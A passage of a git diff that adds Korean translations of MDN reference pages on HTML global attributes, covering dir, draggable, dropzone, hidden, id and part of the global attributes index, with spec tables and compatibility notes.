+ <li><code>ltr</code>은 왼쪽에서 오른쪽을 뜻하며, 좌횡서 언어인 한국어나 영어에 사용합니다.</li>
+ <li><code>rtl</code>은 오른쪽에서 왼쪽을 뜻하며, 우횡서 언어인 아랍어 등을 사용합니다.</li>
+ <li><code>auto</code>는 {{glossary("user agent", "사용자 에이전트")}}가 결정합니다. 사용자 에이전트는 기본적인 알고리즘을 사용해 요소 내부의 문자를 분석한 후, 명확한 방향성을 가진 문자가 존재하는 경우 전체 요소에 해당 방향성을 적용합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고:</strong> <code>dir</code> 특성은{{HTMLElement("bdo")}} 요소에 필수로 지정해야 하며, 다른 뜻을 가집니다.</p>
+
+<ul>
+ <li>
+  <p>{{ HTMLElement("bdi") }} 요소는 <code>dir</code> 특성을 상속하지 않으며, 지정하지 않은 경우 <code>auto</code>를 기본값으로 사용합니다.</p>
+ </li>
+ <li>
+  <p>{{ cssxref("direction") }}과 {{ cssxref("unicode-bidi") }}를 지원하며 CSS를 활성화한 경우, 특성 값은 무시하고 CSS 값을 대신 사용합니다.</p>
+ </li>
+ <li>
+  <p>글자의 쓰기 방향은 외형이 아니라 그 의미에 관여하므로, 웹 개발자로서 되도록 CSS 속성 대신 <code>dir</code> 특성을 사용하세요. 관련 속성을 지원하지 않거나, CSS를 비활성화한 브라우저에서도 텍스트가 올바른 방향으로 나타납니다.</p>
+ </li>
+ <li>
+  <p>데이터베이스에 저장된 사용자 입력 값처럼 방향성을 알 수 없는 데이터에는 <code>auto</code> 값을 사용해야 합니다.</p>
+ </li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, from {{SpecName('HTML4.01')}} it added the <code>auto</code> value, and is now a true global attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "dirlang.html#h-8.2", "dir")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.dir")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>이 특성을 나타내는 {{domxref("HTMLElement.dir")}}.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/draggable/index.html b/files/ko/web/html/global_attributes/draggable/index.html
new file mode 100644
index 0000000000..e3d4b5df39
--- /dev/null
+++ b/files/ko/web/html/global_attributes/draggable/index.html
@@ -0,0 +1,66 @@
+---
+title: draggable
+slug: Web/HTML/Global_attributes/draggable
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/draggable
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>draggable</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소의 드래그 가능 여부를 나타내는 열거형 특성으로, 네이티브 브라우저 동작 방식과 <a href="/ko/docs/Web/API/HTML_Drag_and_Drop_API">HTML Drag and Drop API</a> 모두 통제합니다.</span></p>
+
+<p><code>draggable</code>은 다음 두 값 중 하나를 가질 수 있습니다.</p>
+
+<ul>
+ <li><code>true</code>: 요소를 드래그 할 수 있습니다.</li>
+ <li><code>false</code>: 요소를 드래그 할 수 없습니다.</li>
+</ul>
+
+<div class="blockIndicator warning">
+<p><code>draggable</code> 특성은 불리언이 아니고 열거형 특성이므로, <code>true</code> 또는 <code>false</code>의 지정 또한 필수입니다. 그러므로 <code>&lt;img draggable&gt;</code>처럼 사용할 수 없고, 올바른 사용법은 <code>&lt;img draggable="false"&gt;</code>입니다.</p>
+</div>
+
+<p><code>draggable</code>을 지정하지 않은 경우의 기본값은 <code>auto</code>로, 브라우저 기본 동작을 따릅니다. 즉, 텍스트 선택 영역, 이미지, 링크 외에는 드래그가 불가능합니다. <a href="/ko/docs/Web/API/HTML_Drag_and_Drop_API/Drag_operations">종합 예제</a>에서 볼 수 있듯, 다른 요소에 드래그 앤 드롭을 적용하려면 {{domxref('GlobalEventHandlers.ondragstart', 'ondragstart')}} 이벤트 처리기가 필요합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#the-draggable-attribute", "draggable")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "interaction.html#the-draggable-attribute", "draggable")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#the-draggable-attribute", "draggable")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.draggable")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/dropzone/index.html b/files/ko/web/html/global_attributes/dropzone/index.html
new file mode 100644
index 0000000000..15d26aad15
--- /dev/null
+++ b/files/ko/web/html/global_attributes/dropzone/index.html
@@ -0,0 +1,53 @@
+---
+title: dropzone
+slug: Web/HTML/Global_attributes/dropzone
+tags:
+  - Deprecated
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/dropzone
+---
+<div>{{HTMLSidebar("Global_attributes")}}{{deprecated_header}}</div>
+
+<p><strong><code>dropzone</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 열거형 속성으로 한 요소에 어떤 형식의 컨텐츠가 <a href="/En/DragDrop/Drag_and_Drop">Drag and Drop API</a>를 이용해 드랍될 수 있는지를 나타냅니다. 이 속성은 다음의 값을 가질 수 있습니다:</p>
+
+<ul>
+ <li><code>copy</code>, 드랍할 때 드래그되는 요소의 사본이 생성됨을 나타냅니다.</li>
+ <li><code>move</code>, 드래그되는 요소가 새로운 위치로 이동할 것임을 나타냅니다.</li>
+ <li><code>link</code>, 드래그되는 데이터에 대한 링크가 생성될 것임을 나타냅니다.</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#the-dropzone-attribute", "dropzone")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.dropzone")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/hidden/index.html b/files/ko/web/html/global_attributes/hidden/index.html
new file mode 100644
index 0000000000..7e4cc9f05f
--- /dev/null
+++ b/files/ko/web/html/global_attributes/hidden/index.html
@@ -0,0 +1,69 @@
+---
+title: hidden
+slug: Web/HTML/Global_attributes/hidden
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/hidden
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><strong><code>hidden</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 해당 요소가 아직, 또는 더 이상 관련이 없음을 나타내는 불리언 특성입니다.</span> 브라우저는 <code>hidden</code> 속성을 설정한 요소를 렌더링 하지 않습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-hidden.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>하나의 표시 방식에서만 숨기려 할 땐 <code>hidden</code> 특성이 적합하지 않습니다. 임의의 요소에 <code>hidden</code>을 추가하면, 그 요소는 시각적 방식 외에도 스크린 리더 등 다른 모든 표시 방식에서 숨겨집니다.</p>
+
+<p>숨겨지지 않은 요소에서 숨겨진 요소로 연결해서는 안됩니다. 또한, 숨겨진 요소의 자손 요소는 여전히 활성 상태이므로, {{htmlelement("script")}} 요소를 실행할 수 있고 양식 요소도 제출할 수 있습니다. 그러나 스크립트와 요소는 다른 맥락에서 숨겨진 요소를 참조할 수 있습니다.</p>
+
+<p>예를 들어, <code>hidden</code> 특성을 적용한 구획으로 링크하는 <code>href</code> 특성은 유효하지 않습니다. 콘텐츠가 사용할 수 없거나 더는 관련이 없으면 연결할 이유도 없기 때문입니다.</p>
+
+<p>하지만, 숨겨진 설명문을 참조하기 위해 ARIA <code>aria-</code><code>describedby</code> 특성을 사용하는 것은 괜찮습니다. 숨겨진 설명문 자체로는 쓸모가 없음을 나타내지만 특정 문맥, 즉 자신이 설명하는 요소에서 참조하는 경우 쓸모가 생깁니다.</p>
+
+<p>위와 유사하게, <code>hidden</code> 특성을 적용한 {{htmlelement("canvas")}} 요소는 스크립트로 작성한 그래픽 엔진에 의해 화면 외 버퍼로 쓰일 수 있고, 숨겨진 양식 요소도 <code>form</code> 특성을 통해 양식 컨트롤에서 참조할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>hidden</code> 특성을 가진 요소의 CSS {{cssxref("display")}} 속성 값을 변경하면 특성으로 인한 동작을 재정의합니다. 예컨대 <code>display: flex</code>를 지정한 요소는 <code>hidden</code> 특성이 존재하더라도 화면에 보이게 됩니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#the-hidden-attribute", "hidden")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "rendering.html#hiddenCSS", "Hidden elements")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Defines the suggested default rendering of the <code>hidden</code> attribute using CSS</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "hidden")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.hidden")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/en-US/docs/Web/HTML/Global_attributes">전역 속성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/id/index.html b/files/ko/web/html/global_attributes/id/index.html
new file mode 100644
index 0000000000..034fc62ac1
--- /dev/null
+++ b/files/ko/web/html/global_attributes/id/index.html
@@ -0,0 +1,72 @@
+---
+title: id
+slug: Web/HTML/Global_attributes/id
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Global_attributes/id
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>id</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 문서 전체에서 유일한 고유식별자(ID)를 정의합니다.</span> 고유식별자의 목적은 <a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web#프래그먼트">프래그먼트 식별자</a>를 사용해 요소를 가리킬 때와 스크립트 및 스타일 적용 시 특정 요소를 식별하기 위함입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-id.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<div class="blockIndicator warning">
+<p><code>id</code> 특성의 값은 불투명 문자열(opaque string)입니다. 그 말은, 웹 작성자가 <code>id</code> 특성을 통해 사람이 읽을 수 있는 정보를 나타내서는 안된다는 것입니다. (코드 가독성 차원에서는 유용할 수 있습니다. <code>ticket-18569</code>와 <code>r45tgfe-freds&amp;$@</code>을 비교해보세요.)</p>
+</div>
+
+<p><code>id</code> 특성의 값이 공백(스페이스나 탭 등)을 포함해서는 안됩니다. 공백으로 값을 구분하는 {{htmlattrxref("class")}} 속성과 달리, 하나의 요소는 하나의 ID만 가질 수 있습니다. 만약 ID에 공백을 넣는다면, 브라우저는 그 공백마저 ID의 일부로 취급합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> {{glossary("ASCII")}} 문자, 숫자, <code>'_'</code>, <code>'-'</code> 및 <code>'.'</code>를 제외한 문자는 HTML 4에서 허용하지 않았으므로 호환성 문제가 발생할 수 있습니다. 이런 제한은 HTML 5에서는 해제되었으나, 호환성을 위해, ID는 위의 문자로 시작해야 합니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, now accept <code>'_'</code>, <code>'-'</code> and <code>'.'</code> if not at the beginning fo the id. It is also a true global attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#adef-id', 'id')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.id")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li><code>id</code> 특성을 반영하는 {{domxref("Element.id")}} 속성.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/index.html b/files/ko/web/html/global_attributes/index.html
new file mode 100644
index 0000000000..ea6735bd27
--- /dev/null
+++ b/files/ko/web/html/global_attributes/index.html
@@ -0,0 +1,166 @@
+---
+title: 전역 특성
+slug: Web/HTML/Global_attributes
+tags:
+  - Attribute
+  - HTML
+  - Reference
+  - Web
+  - 특성
+translation_of: Web/HTML/Global_attributes
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<div class="summary">
+<p><strong>전역 특성</strong>(Global attributes)은 모든 HTML에서 공통으로 사용할 수 있는 특성입니다. 그러나 일부 요소에는 아무런 효과도 없을 수 있습니다.</p>
+</div>
+
+<p>전역 특성은 모든 <a href="/ko/docs/Web/HTML/Element">HTML 요소</a>에 지정할 수 있으며, 심지어 표준에 명시되지 않은 요소에도 지정할 수 있습니다. 이는, 비표준 요소를 사용하는 순간 문서가 HTML5를 준수하지 않음에도 불구하고, 비표준 요소 역시 전역 특성을 허용해야 함을 의미합니다. 예를 들어, HTML5를 준수하는 브라우저라면, <code>&lt;foo&gt;</code>라는 요소는 유효하지 않지만 그래도 <code>&lt;foo hidden&gt;...&lt;/foo&gt;</code>는 화면에 나타내지 않을 것입니다.</p>
+
+<p>기본 HTML 전역 특성 외에 아래와 같은 전역 특성도 존재합니다.</p>
+
+<ul>
+ <li>{{htmlattrdef("xml:lang")}}과 {{htmlattrdef("xml:base")}}는 XHTML 명세에서 상속받은 것으로 더 사용하지 않지만, 호환성 유지를 위해 아직 존재합니다.</li>
+ <li>여러 개의 <code><strong><a href="/ko/docs/Web/Accessibility/ARIA">aria-*</a></strong></code> 특성은 접근성 향상을 위해 사용됩니다.</li>
+ <li><a href="/ko/docs/Web/Guide/Events/Event_handlers">이벤트 처리기</a> 특성: <code><strong>onabort</strong></code>, <code><strong>onautocomplete</strong></code>, <code><strong>onautocompleteerror</strong></code>, <code><strong>onblur</strong></code>, <code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncontextmenu</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onsort</strong></code>, <code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, <code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code>.</li>
+</ul>
+
+<h2 id="전역_특성_목록">전역 특성 목록</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/accesskey">{{htmlattrdef("accesskey")}}</a></dt>
+ <dd>현재 요소에 대한 키보드 단축키 생성을 위한 힌트를 제공합니다. 이 특성은 공백으로 구분한 문자 목록으로 구성됩니다. 브라우저는 주어진 여러 개의 값 중 장치의 키보드 레이아웃에 존재하는 첫 번째 키를 사용해야 합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/autocapitalize">{{htmlattrdef("autocapitalize")}}</a></dt>
+ <dd>사용자가 입력 또는 수정하는 텍스트를 자동으로 대문자로 변환할지 여부와 변환하는 방법을 제어합니다. 다음과 같은 값이 가능합니다.
+ <ul>
+  <li><code>off</code> 또는 <code>none</code>, 대소문자 자동 변환이 발생하지 않음 (모든 글자가 기본값 소문자)</li>
+  <li><code>on</code> 또는 <code>sentences</code>, 각 문장의 첫 글자를 대문자로 변환, 나머지 글자는 기본값 소문자</li>
+  <li><code>words</code>, 각 단어의 첫 글자를 대문자로 변환, 나머지 글자는 기본값 소문자</li>
+  <li><code>characters</code>, 모든 글자의 기본값이 대문자</li>
+ </ul>
+ </dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/class">{{htmlattrdef("class")}}</a></dt>
+ <dd>공백으로 구분된 해당 요소의 클래스의 목록입니다. 클래스를 이용하면 CSS나 JavaScript에서 <a href="/ko/docs/Web/CSS/Class_selectors">클래스 선택자</a>나 {{domxref("Document.getElementsByClassName()")}}과 같은 메서드를 이용해 특정 요소를 선택하거나 접근할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/contenteditable">{{htmlattrdef("contenteditable")}}</a></dt>
+ <dd>해당 요소를 사용자가 편집할 수 있는지를 나타내는 열거형 특성입니다. 편집 가능한 경우에 브라우저는 편집을 허용하도록 위젯을 수정합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/data-*">{{htmlattrdef("data-*")}}</a></dt>
+ <dd>사용자 지정 데이터 특성(custom data attributes)이라는 특성 클래스를 형성함으로써 임의의 데이터를 스크립트로 <a href="/ko/docs/Web/HTML" title="en/HTML">HTML</a>과 <a href="/ko/docs/Web/API/Document_Object_Model" title="en/DOM">DOM</a> 사이에서 교환할 수 있는 방법을 제공합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/dir">{{htmlattrdef("dir")}}</a></dt>
+ <dd>요소의 쓰기 방향을 나타내는 열거형 특성입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/draggable">{{htmlattrdef("draggable")}}</a></dt>
+ <dd><a href="/ko/docs/Web/API/HTML_드래그_앤_드롭_API">Drag and Drop API</a>를 사용해 요소를 드래그할 수 있는지 나타내는 열거형 특성입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/exportparts">{{htmlattrdef("exportparts")}}</a> {{experimental_inline}}</dt>
+ <dd>중첩 섀도우 트리에서 섀도우 파트를 전이적으로 라이트 파트에 내보낼 때 사용합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/hidden">{{htmlattrdef("hidden")}}</a></dt>
+ <dd>해당 요소가 아직, 또는 더 이상 관련이 없음을 나타내는 불리언 특성입니다. 브라우저는 <code>hidden</code> 특성을 가진 요소를 렌더링 하지 않습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/id">{{htmlattrdef("id")}}</a></dt>
+ <dd>문서 전체에서 유일해야 하는 고유 식별자(ID)를 정의합니다. (프래그먼트 식별자를 사용한) 링크, 스크립트, 스타일 적용 시 요소를 식별할 때 사용합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/inputmode">{{htmlattrdef("inputmode")}}</a></dt>
+ <dd>사용자가 요소나 요소의 콘텐츠를 편집할 때, 브라우저가 제공해야 하는 가상 키보드 설정을 알려줍니다. 주로 {{htmlelement("input")}} 요소에 사용하지만, {{htmlattrxref("contenteditable")}} 특성을 가진 요소라면 종류 불문하고 사용할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/is">{{htmlattrdef("is")}}</a></dt>
+ <dd>표준 HTML 요소가 사용자 정의 기본 요소처럼 동작하도록 지정합니다. (자세한 내용은 <a href="/ko/docs/Web/Web_Components/Using_custom_elements">사용자 정의 요소 사용하기</a>를 참고하세요<a href="/ko/docs/Web/Web_Components/Using_custom_elements">)</a></dd>
+</dl>
+
+<div class="note">
+<p><strong>참고: </strong><code>item*</code> 특성은 <a class="external" href="https://html.spec.whatwg.org/multipage/microdata.html#microdata">WHATWG HTML Microdata feature</a>의 일부입니다.</p>
+</div>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/itemid">{{htmlattrdef("itemid")}}</a></dt>
+ <dd>아이템의 고유하고 전역적인 식별자입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/itemprop">{{htmlattrdef("itemprop")}}</a></dt>
+ <dd>아이템에 특성(properties)을 추가할 때 사용합니다. 모든 HTML 요소에는 이름과 값의 쌍으로 구성된 <code>itemprop</code> 특성을 명시할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/itemref">{{htmlattrdef("itemref")}}</a></dt>
+ <dd><code>itemscope</code> 특성을 가진 요소에 속하지 않는 특성들(properties)은 <code>itemref</code>를 사용하여 item에 연결할 수 있습니다. 여기에는 문서 내의 다른 위치에 있는 추가적인 특성을 갖는 요소 id(<code>itemid</code>s 가 아닌)목록이 제공됩니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/itemscope">{{htmlattrdef("itemscope")}}</a></dt>
+ <dd><code>itemscope</code>은 (일반적으로) {{htmlattrxref("itemtype")}}과 같이 사용하여 블록에 포함된 HTML이 특정 item에 대한 것임을 나타냅니다. <code>itemscope</code>은 item을 생성하고 그 item에 연결된 <code>itemtype</code>의 범위를 정의합니다. <code>itemtype</code>은 item과 특성 컨텍스트를 설명하는 (<a class="external external-icon" href="https://schema.org/">schema.org</a>와 같은) 어휘(vocabulary)에 대한 유효한 URL입니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/itemtype">{{htmlattrdef("itemtype")}}</a></dt>
+ <dd>데이터 구조에서 <code>itemprop</code>s (item properties)을 정의하는 데 사용할 단어의 URL을 지정합니다. <code><a href="/ko/docs/Web/HTML/Global_attributes/itemscope">itemscope</a></code>은 데이터 구조 내에서 <code>itemtype</code>에 의해 설정된 어휘가 활성화되는 범위를 설정하는 데 사용됩니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/lang">{{htmlattrdef("lang")}}</a></dt>
+ <dd>요소의 언어를 정의하는데 도움을 줍니다: 편집할 수 없는 요소가 있는 언어 또는 사용자가 요소를 편집할 수 있는 언어를 정의하는 데 도움이 됩니다(the language that non-editable elements are in, or the language that editable elements should be written in by the user). 이 특성은 언어 식별 태그(<a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt"><em>Tags for Identifying Languages (BCP47)</em></a>)에 정의된 형식의 하나의 "언어 태그"(하이픈으로 구분된 "언어 하위 태그(language subtags)"로 구성된)를 포함합니다. <a href="#attr-xml:lang"><strong>xml:lang</strong></a>은 이보다 우선합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/part">{{htmlattrdef("part")}}</a></dt>
+ <dd>A space-separated list of the part names of the element. Part names allows CSS to select and style specific elements in a shadow tree via the {{CSSxRef("::part")}} pseudo-element.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/slot">{{htmlattrdef("slot")}}</a></dt>
+ <dd>요소에 <a href="/ko/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a>의 shadow tree에 있는 슬롯을 할당합니다: <code>slot</code> 특성을 가진 요소는 {{htmlattrxref("name", "slot")}} 특성의 값이 해당 <code>slot</code> 특성의 값과 일치하는 {HTMLElement("slot")}} 요소가 생성한 슬롯에 할당됩니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/spellcheck">{{htmlattrdef("spellcheck")}}</a></dt>
+ <dd>요소의 맞춤법 검사 여부를 지정합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTML/Global_attributes/style">{{htmlattrdef("style")}}</a></dt>
